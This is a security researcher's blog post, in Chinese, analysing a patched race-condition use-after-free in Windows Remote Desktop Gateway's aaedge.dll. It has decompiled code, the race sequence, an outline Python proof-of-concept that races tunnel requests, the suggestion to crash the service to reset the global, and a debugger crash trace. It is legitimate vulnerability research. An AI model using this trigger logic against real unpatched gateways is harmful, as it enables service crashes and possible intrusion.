时隔多月, 也是时候分享一个RDG的案例了. 这是一个全局变量初始化竞争导致的UAF问题. 在azure的挖掘中, 我渐渐熟悉了在开源软件里发现竞争性漏洞的感觉, 在这个case里, 我在binary程序中也找到了发现竞争漏洞的感觉.

配置RDG环境

  1. 准备虚拟机, 安装未修补漏洞的windows server.

  2. 安装 RDG 服务

    1724930738398

    1724930805655

    1724930817254

    1724930838256

    1724930853119

    1724930861724

    1724930874111

    1724930908758

    wait until finish installation:

    1724931393509

    select tools to open RDG manager:

    1724931430677

    1724931458368

    1724931477527

    1724931503035

    创建自签名证书:

    1724931563124

    1724931624086

    最后点击”OK”:

    1724931681229

    创建 RDCAP:

    1724931754262

    1724931772188

    选择用户组:

    1724931808867

    点击 “OK”.

    1724931976253

    创建 RDRAP:

    1724931877871

    1724931894166

    1724931916078

    1724931946012

    点击”OK”.

    1724931995221

获取进程id:

漏洞介绍

aaedge.dll!CTsgMsgServer::GetCTsgMsgServerInstance里, 会初始化全局变量CTsgMsgServer::m_pMsgSvrInstance:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct CTsgMsgServer *CTsgMsgServer::GetCTsgMsgServerInstance(void)
{
v0 = CTsgMsgServer::m_pMsgSvrInstance;
if ( CTsgMsgServer::m_pMsgSvrInstance )// a0
goto LABEL_9;
v1 = operator new(0x70ui64);
if ( v1 )
{
v1->ref = 1;
CTsgMsgServer::m_pMsgSvrInstance = v1; // a1
......
v0 = CTsgMsgServer::m_pMsgSvrInstance;
LABEL_9:
v4 = (v0 + *(v0->_0_60h_0h + 4i64));
(v4->f_0h->func_AddRef_CAAAuthenticateUserSink_180006ce0_0h)(v4);
return CTsgMsgServer::m_pMsgSvrInstance;// a2
}

如上所示, 在a1位置, 设置了指针给CTsgMsgServer::m_pMsgSvrInstance, 在a2位置, 返回值用的是全局变量CTsgMsgServer::m_pMsgSvrInstance.

现在设想一个如下场景:

  1. socket1连接服务, 进入了该函数a0位置, 由于CTsgMsgServer::m_pMsgSvrInstance没有初始化, 所以进入到申请内存阶段, 此时还没有到达a1.
  2. socket2同时连接服务, 进入了该函数, 由于socket1的流程还没有到a1, 所以CTsgMsgServer::m_pMsgSvrInstance还是没有初始化, 因此也进入申请内存阶段.
  3. socket1运行至a1位置, 将heap1赋值给全局变量. 之后运行至a2位置, 准备通过全局变量返回heap1指针.
  4. socket2运行至a1位置, 用heap2覆盖了CTsgMsgServer::m_pMsgSvrInstance存储的heap1的值. heap2->ref 是 1.
  5. socket1运行结束, 将heap2作为结果返回, 并且heap2->ref 还是1.
  6. socket2运行到a2, 返回heap2. 此时heap2->ref 是2.
  7. socket1结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance, heap2->ref变成1
  8. socket2结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance, heap2->ref变成0, heap2被释放. CTsgMsgServer::m_pMsgSvrInstance变成悬挂指针.
  9. 当socket3连接时, 引用了悬挂指针, 导致UAF

这个全局变量只会初始化一次, 所以只有在服务第一次启动的时候是NULL的, 但是我们可以通过其它漏洞崩溃服务进程, 让它重启, 于是它又是NULL了.

补丁

官方添加了互斥锁, 避免了多线程同时进入初始化流程.

总结

其实这个uaf最大的问题在于返回值用的全局变量指针, 如果是临时变量指针v1, 至少不会导致引用计数错误. 同时, 也提醒我们要关注全局变量的初始化和引用, 避免竞争情况下的异常.

POC核心逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def get_data(conId):
data = 'GET /remoteDesktopGateway?......'
return data

def main_logic():
sock.send(get_data(conId).encode('utf-8'))
sock.recv(1024)
time.sleep(0.2)

data = HandShakeRequest(0)
data = websocket_data(b'xxxx', data)
sock.send(data)
sock.recv(1024)

data = TunnelRequest(2)
data = websocket_data(b'xxxx', data)
wait_all_threads_ready_and_sync()
sock.send(data)
time.sleep(0.1)
sock.close()

def exp():
for _ in range(total_thread_nums):
pool.submit(main_logic) // 使用多个线程竞争
time.sleep(0.5)
main_logic()// 模拟socket3行为

crash栈回溯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
0:046> r
rax=0000000000000000 rbx=0000000000000000 rcx=000001aa4c74e7c0
rdx=000001aa4bfb4f90 rsi=000001aa4c74e7c0 rdi=000001aa4d2a0650
rip=00007ffa77957678 rsp=0000003a539fef60 rbp=0000000000000000
r8=7ffffffffffffffc r9=0000000000000000 r10=00000fff4ef319d4
r11=0000000004500000 r12=0000000000000001 r13=00007ffa779ce1c8
r14=000001aa4c74e7c0 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8:
00007ffa`77957678 488b02 mov rax,qword ptr [rdx] ds:000001aa`4bfb4f90=????????????????
0:046> k
# Child-SP RetAddr Call Site
00 0000003a`539fef60 00007ffa`77952007 aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8
01 0000003a`539fefa0 00007ffa`779528de aaedge!CServerTunnel::Initialize+0x57
02 0000003a`539ff030 00007ffa`7795cc20 aaedge!CAAServerTunnelFactory::InternalCreateNewTunnel+0x23a
03 0000003a`539ff0a0 00007ffa`7795c776 aaedge!CEdgeOperations::CreateTunnelWithUser+0x30
04 0000003a`539ff0e0 00007ffa`7799038a aaedge!CEdgeOperations::CreateTunnel+0x1d6
05 0000003a`539ff190 00007ffa`779929c9 aaedge!CAAHttpServerConnection::HandleTunnelRequestReceived+0x262
06 0000003a`539ff230 00007ffa`77989816 aaedge!CAAHttpServerConnection::OnReceiveDataComplete+0x1c9
07 0000003a`539ff4d0 00007ffa`7797d5c2 aaedge!CAAHttpServerTransport::WebSocketReceiveLoop+0x104e
08 0000003a`539ff640 00007ffa`7797e286 aaedge!CAAHttpServerTransport::HandleWebSocketReceiveRawDataCompletion+0x24e
09 0000003a`539ff6d0 00007ffa`94407c4f aaedge!CAAHttpServerTransport::IoCompletionCallback+0x266
0a 0000003a`539ff760 00007ffa`95a18e57 kernel32!BasepTpIoCallback+0x4f
0b 0000003a`539ff7b0 00007ffa`95a31f9e ntdll!TppIopExecuteCallback+0x1b7
0c 0000003a`539ff830 00007ffa`9440dbe7 ntdll!TppWorkerThread+0x57e
0d 0000003a`539ffb90 00007ffa`95a65a4c kernel32!BaseThreadInitThunk+0x17
0e 0000003a`539ffbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x2c
0:046> !heap -p -a 1aa`4bfb4f90
ReadMemory error for address ffffffffffffffe8
Use `!address ffffffffffffffe8' to check validity of the address.
ReadMemory error for address ffffffffffffffe8
Use `!address ffffffffffffffe8' to check validity of the address.
address 000001aa4bfb4f90 found in
_DPH_HEAP_ROOT @ 1aa40001000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
1aa400465b0: 1aa4bfb4000 2000
00007ffa95a64373 ntdll!RtlDebugFreeHeap+0x0000000000000037
00007ffa95a0ba6e ntdll!RtlpFreeHeap+0x000000000000174e
00007ffa95a09b80 ntdll!RtlpFreeNTHeapInternal+0x00000000000003f0
00007ffa95a13414 ntdll!RtlpHpTagFreeHeap+0x0000000000000574
00007ffa95a123bd ntdll!RtlFreeHeap+0x000000000000019d
00007ffa94d7d61c msvcrt!free+0x000000000000001c
00007ffa77956fd4 aaedge!CTsgMsgServer::`vector deleting destructor'+0x0000000000000034
00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027
00007ffa7794fba2 aaedge!CServerTunnel::~CServerTunnel+0x00000000000000ce
00007ffa7794fd90 aaedge!CServerTunnel::`vector deleting destructor'+0x0000000000000020
00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027
00007ffa7798c816 aaedge!CAAHttpServerConnection::Cleanup+0x000000000000026e
00007ffa779911ca aaedge!CAAHttpServerConnection::InternalShutdown+0x0000000000000486
00007ffa77992768 aaedge!CAAHttpServerConnection::OnDisconnected+0x00000000000000b8
00007ffa7797c03c aaedge!CAAHttpServerTransport::HandleDisconnected+0x00000000000003b0
00007ffa7797e250 aaedge!CAAHttpServerTransport::IoCompletionCallback+0x0000000000000230
00007ffa94407c4f kernel32!BasepTpIoCallback+0x000000000000004f
00007ffa95a18e57 ntdll!TppIopExecuteCallback+0x00000000000001b7
00007ffa95a31f9e ntdll!TppWorkerThread+0x000000000000057e
00007ffa9440dbe7 kernel32!BaseThreadInitThunk+0x0000000000000017
00007ffa95a65a4c ntdll!RtlUserThreadStart+0x000000000000002c